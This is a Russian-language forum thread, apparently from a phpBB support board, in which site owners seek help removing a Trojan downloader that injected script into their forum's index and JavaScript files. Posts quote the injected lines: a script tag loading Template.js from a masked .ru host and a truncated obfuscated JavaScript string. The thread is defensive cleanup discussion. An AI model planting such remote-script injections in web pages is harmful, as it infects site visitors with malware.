Как убить Трояна?

[AdmninsCluba]

обнаружено: троянская программа Trojan-Downloader.VBS.Small.dh

Почистил файл - index.php. Не помогло. Что надо сделать чтобы найти и убить скрипт?

Спасибо.

ОТВЕТ:
- проверяемся на вирусы
- меняем ВСЕ пароли и не храним их в FTP-клиенте.
- чистим файлы Index.* или заливаем из бэкапа.

http://virusinfo.info/pravila.html

[MIT]

Код: Выделить всё

<script type="text/javascript" src="http://****.ru/Template.js"></script>

Удалить надо только это.
Обозначает простую вещь: при загрузке страницы браузер запрашивает файл http://****.ru/Template.js и исполняет его.

[spylook]

есть следом ещё одна строка, её тоже убрать?
<!--d36971354de1399e5378329bdff1b65b-->

[MIT]

Это комментарий. Да, убери, он не нужен.
Кстати, аналогичный код был добавлен во все файлы *.js и index.*, не забудь их почистить.

[spylook]

Продержался после чистки около недели и снова та же хрень..
Форум 3.0.7-PL1
Комп вроде чистый.. Как думаете что за?

[MAzZY]

Комп вроде чистый

Вроде - у бабки в огороде
Не шляться по левым сайтам, по порнухе. Установить ФФ, антивирус с постоянными обновлениями и файервол.

[Mr. Anderson]

MAzZY
Забыл одно - сменить все пароли и перепроверить файло на сервере на предмет "посторонней левости".

[MAzZY]

Это как чистить, а я написал как уберечься. У него же не в первый раз, наверное, знает, как чистить

[Mr. Anderson]

MAzZY
Именно - не первый раз. В 95% случаев это означает, что не знает.

[MAzZY]

Писано-переписано
Как убить Трояна?

[spylook]

Хорошие у Всас советы я же ветку итак прочитал...
Вот что удалось выяснить:
Этот код загружает на компьютер файл: C:\WINDOWS\system32\drivers\aec.sys
оригинальный же переименовывает в aec.sys.bak
Удаляется aec.sys только через безопасный режим. Файл aec.sys.bak переименовывается обратно в aec.sys ...
А у меня Avira не считал его вирусом...

[Поручик]

Avasta меня не раз выручала.

[serega--909]

Здравствуйте.
Сразу скажу, что тему всю не осилил, но при беглом просмотре не нашел ответа на свой вопрос.
Поймал я как то троянца, Avast Free его запросто впустил. Этот гад(троян) положил все браузеры кроме Оперы portable и стырил пароли от FTP. После чего заразил все index'ные файлы в форуме кодом следующего содержания:

Код: Выделить всё

<script type="text/javascript">var vgO2cA99ga = "QsEus17QsEus31";var dmt8LjnsH80 = "QsEus3cQsEus73QsEus63QsEus72Q"; var dmt8LjnsH81 = ....

Что было предпринято:
1. Скачан из интернета CureIT, который нашел троянца и загасил. После этого браузеры стали запускаться.
2. Изменены пароли от FTP аккаунтов и очищена в суматохе оставленная злополучная история FileZilla
3. Почищены все файлы index.htm, index.php и index.html от этого скрипта.
4. Очищен кэш форума.

Проблема:
В форуме так и остался гадкий скрипт, а через какой файл он туда забрался для меня остается загадкой. Все файлы index почищены, а код на месте. В каком файле мне ещё его поискать? (В файлах шаблона footer header искал - там чисто). И ещё один косяк - шрифт форума стал гораздо больше! Прошу помощи в своем нелегком деле у тех, кто разбирается в вопросе.
Заранее благодарен за ответ!
PS Версия форума 3.0.7

[MAzZY]

Сразу скажу, что тему всю не осилил

Да я уже задолбался
Как убить Трояна?

Добавлено спустя 2 минуты 48 секунд:
И в папке cache удалите все файлы, кроме index.htm(его тоже проверьте на вирус) и .htaccess

[serega--909]

Да я уже задолбалсяКак убить Трояна?Добавлено спустя 2 минуты 48 секунд:И в папке cache удалите все файлы, кроме index.htm(его тоже проверьте на вирус) и .htaccess

Ну вообще то я выше написал, что всё это уже проделал!!!
Вопрос звучит так: "Какие файлы КРОМЕ index могут быть заражены?"
Методом "наобум" я просмотрел несколько просто выдернутых из форума файлов - они чистые. Во всех индексных скрипт удален, но в коде форума он стоит в самом начале!

[MAzZY]

Значит поиском по файлам. Что непонятного?
По нормальному, надо было бэкап восстановить и не парить никому мозни